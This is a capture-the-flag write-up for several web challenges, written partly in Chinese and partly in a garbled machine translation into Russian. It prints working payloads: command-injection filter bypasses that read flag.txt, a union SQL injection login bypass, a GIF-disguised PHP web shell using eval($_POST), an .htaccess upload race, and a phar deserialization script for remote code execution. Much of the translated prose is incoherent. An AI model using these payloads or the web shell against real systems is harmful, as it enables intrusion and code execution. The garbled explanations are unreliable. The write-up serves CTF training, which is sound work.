0x01 пинг пинг пинг
Очевидно , инъекция команды, мы используем символ трубы , |
чтобы выполнить команду , мы хотели
пространство , чтобы быть отфильтрован, существует множество способов обхода пространств, таких как
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
Потому что здесь фильтрация { }
и другие специальные символы, Vaughan использовать $IFS$9
его
здесь и фильтруется флаг эти письма не могут быть присоединены к оказаться, что f\l\a\g
не в порядке, здесь мы используем команду сращивания формы a=f;b=l;c=g;d=a;echo $a$b$d$c;
может сращивать flag
несколько букв
последнего полезная нагрузка
0x02 BabySQli
Простой MD5 инъекции
Строка кодирования Base32, мы первые base32 декодирования base64 декодируются вновь получить select * from user where username = '$name'
, потому что название предполагает использование шифрования md5, и три протестировали, смею предположить , что второй в качестве имени пользователя, пароль третьей колонки, это может быть следующим следующий попробовать ~~
Полезная нагрузка:
0' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'-- -&pw=1
Первый из которых должен быть 0, если база данных не может найти имя нашего союза будет использовать данные, которые c4ca4238a0b923820dcc509a6f75849b
являются 1
значение MD5
0x03 BabyUpload
Тот, который является интерфейсом загрузки, старая рутина, и обычно загружать фотографии как ~~
Я обычно использую лошадь в качестве картинки
GIF89a
#define test_width 16
#define test_height 7
<script language="php"> eval($_POST[xxx]); </script>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
Этот формат содержит как PNG изображение, но также содержит xbmp
формат, PHP также используется <script language="php">
для облегчения челнока ~~
Мы посещаем наши закачивать фотографии лошадей, но не могли решить ~~
вообще сделать изображение лошади , чтобы вступить в силу, у нас есть только достаточно хорошо , чтобы LFI
место, но этот вопрос нет, так что мы можем попытаться загрузить .htaccess
разрешить наши фотографии ~~
Совет типа слишком явно ,
мы должны изменить его Content-Type
, изменить изображение / JPEG на линии ~
我们访问试试~~
显示访问不了,明显删除了,所以莫法解析我们的图片,这儿可以使用条件竞争,一直上传.htaccess
和图片,然后就可以解析了~~
然后执行命令~~
0x04 BabysqliV3.0
看似是一道sql注入的题目,但是试了很多次就没结果,最后直接爆破,得到账号密码为admin password
爆破是安全的最基本操作,以后看见登录框管他三七二十一先爆破一下再说~~
我们登录一下,直接跳转到了一个文件上传界面~~
当初看见有个参数file
的时候还以为是上传图片马然后直接再包含呢 ~~
其实没这么简单~~
随便上传一个文件就会显示上传的地址和文件的内容
但是所有文件都会被加一个txt
的后缀,即变成一个文本文件~~
所以上传的套路都失效了,我们只有另寻他法~~
我们试试可不可以使用伪协议读取文件内容~~
直接读出了源码~~
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
我们先简要分析分析一下这段代码,我们可以上传一个文件,但是这个文件的大小有限制,这个没有什么影响,最主要的是这一句代码echo file_get_contents($uploader);
,$uploader
是一个类,所以echo file_get_contents($uploader);
会触发__toString()
,而__toString()
返回的是Filename;
,通过代码我们知道Filename;
我们可控,通过传参isset($_GET['name']
,但是参数name有一定的限制~~
!preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])
这儿过滤了data://
;filter://
;php://
;.
,但是出题人多大了一个空格,所以相当于没过滤这几个关键词,所以这儿就产生了非预期解~~
非预期解1
payload:
&name=flag.php
&name=php://filter/read=convert.base64-encode/resource=flag.php
然后任意上传一个文件就可以得到flag,但是此方法只能使用一次~~
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
Мы выбираем загрузку файлов, но содержание не будет сразу загружать вверх, будет некоторая задержка по времени, echo file_get_contents($uploader);
то есть в этот раз будет читать оригинал flag.php, но не сразу 覆盖掉flag.php
нам продемонстрировать , что
мы загрузить cacl.py
файл, содержимое в
ближайшее время мы сможем получить содержимое flag.php, а не то , что мы закачано ~~
мы продолжаем загружать другой файл ~~
содержимое дисплея содержимого файла загрузить наш последний ~~
Две полезной нагрузки может получить флаг, но может быть использован только один раз ~~
Студенты, возможно, потребуется, чтобы спросить, не является условием для выполнения его?
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
Нам действительно нужно выполнить CMD $this->token != $_SESSION['user']
, это может быть установлен $this->token == $_SESSION['user']
, но код не имеет на это право, ограничивается этой проблемы для решения ожидаемой ~ ~
потому что он сбросит когда десериализации Phar$this->token
Неожиданное 2 Решение
Мы можем быть загружены непосредственно троянского предложение, поскольку только фильтруется 空格+.
контент загружается на наш
<script language="php"> eval($_POST[xxx]); </script>
На данный момент нет содержимого возврата, мы ожидаем , что нерешение 1 дало понять , что на этот раз , чтобы загрузить определенные задержки, но был загружен пошло вверх, мы пошли , чтобы посетить его
легко получить флаг ~~
Ожидаемое решение
Решения для решения проблемы заключается в изучении ожидаемого , phar反序列化RCE
file_get_contents()
что $uploader
объект через __toString()
возвращение $this->Filename
, так как phar://
протокол псевдо не может полагаться unserialize()
непосредственно десериализации, в сочетании с $this->Filename
управляемым, так что здесь $this->Filename
с Phar после десериализации, __destruct()
метод eval($this->cmd);
приводит к удаленному выполнению кода
Вот$_SESSION['user']
Учитывая непосредственно полезную нагрузку:
<?php
class Uploader
{
public $Filename;
public $cmd;
public $token;
}
$o=new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php");'; #这儿一定要注意cmd是一句完整的php语句,一定要要加英语分号~~
$o->Filename='test';
$o->token='GXYcb5ae520cb58019b754969f1572f6b6e';
echo serialize($o);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
Затем загрузите Фары
флага прибудет
0x05 StrongestMind
Этот вопрос общие рептилии ползают формулу, а затем введите ответ на тысячу раз
полезного груза:
from requests import *
import re
s = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
print(c)
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
print(a.text)
Получить флаг